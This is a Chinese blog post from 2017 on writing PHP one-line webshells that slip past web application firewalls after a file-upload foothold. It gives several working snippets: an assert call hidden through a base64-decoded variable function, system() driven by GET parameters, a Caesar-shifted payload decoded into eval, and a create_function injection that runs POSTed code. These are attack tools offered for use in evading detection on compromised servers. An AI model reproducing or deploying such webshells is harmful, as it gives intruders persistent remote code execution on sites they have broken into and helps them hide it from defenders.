一句话Shell编写思路

Author Avatar
iosmosis 3月 05, 2017
  • 在其它设备中阅读本文章

很多人都头痛 好不容易找到上传点拿shell了 却发现有狗 = = 其实过狗并不是很难 所以我在这里总结一下思路

经典方式

应该是很常见的方法 利用 可变变量进行赋值传值来打到过狗目的,例如:

<?php $jg16=base64_decode;
$z=$jg16(YXNzZXJ0);
$z($_POST[q]);
?>
这个一句话需要用到这个函数
//base64_encode();//base64编码
//base64_decode();//base64解码
主要就是进行加密然后传值绕过对一句话的检测 这次暂不详细讲解

##system()的巧妙利用

##调用system()由于在php中system函数属于系统函数所以对于一般的waf是可以通杀的

<?php
system($_GET[‘a’]($_GET[‘b’]))
?>

利用古典密码进行对shell加密

在CTF中 经常会碰到密码学问题 比如古典密码(凯撒加密 rot13 等等)

function kaisa($arr){
for($i=0;$i< strlen($arr);$i++){
$arr[$i]=chr(ord($arr[$i])-6);
}
return $arr;
}

这里的凯撒密码采用按ascii码进行向ascii增大的方向移动6位得到的密文,所以向ascii减小的方向移动6位来解码所以构造出一句话

<?php
$arr="j{fq-)dUTXY`}b.@";
for($i=0;$i< strlen($arr);$i++){
$arr[$i]=chr(ord($arr[$i])-5);
}
eval($arr);
?>

利用函数代码执行来代替eval

利用 create_function代码执行漏洞 该函数漏洞这里不进行详细讲解 。 create_function要接收两个参数$args和$code来组成新的函数fucntion_lambda_func($args){$code;} 并eval(function_lambda_func($args){$code;}),那么我们只要构造$code来闭合}然后将自己的代码放到函数体外面就可以执行

这里构造为$code = “n;}$_POST[x];/*”;
注意:双引号里面的变量会进行解析,即如果我们echo $code 并且post提交x=phpinfo();那么输出应该是:n;}phpinfo();;/

payload解析:

;来结束语句

}来结束函数体

phpinfo();;就在函数体外面被eval执行了

/*注释多余的代码

最终代码:eval(function_lambda_func($args){n;}phpinfo();;/*})
最终构造出

<?php
$args = "1";
$code = "n;}$_POST[x];/*";
echo create_function('$args',$code);
?>

这些思路 只是用来启发大家 如果更好的思路 可以一起分享 我会整合到一起